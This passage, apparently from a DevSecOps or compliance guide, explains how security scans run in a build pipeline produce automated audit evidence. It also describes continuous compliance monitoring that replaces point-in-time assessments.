Evidence includes: scan timestamp, tool version, findings, and remediation status. Automated

evidence eliminates: manual audit preparation.

Continuous compliance monitoring: instead of point-in-time assessments, pipeline-native testing

provides daily compliance evidence. Continuous monitoring detects compliance drift immediately.
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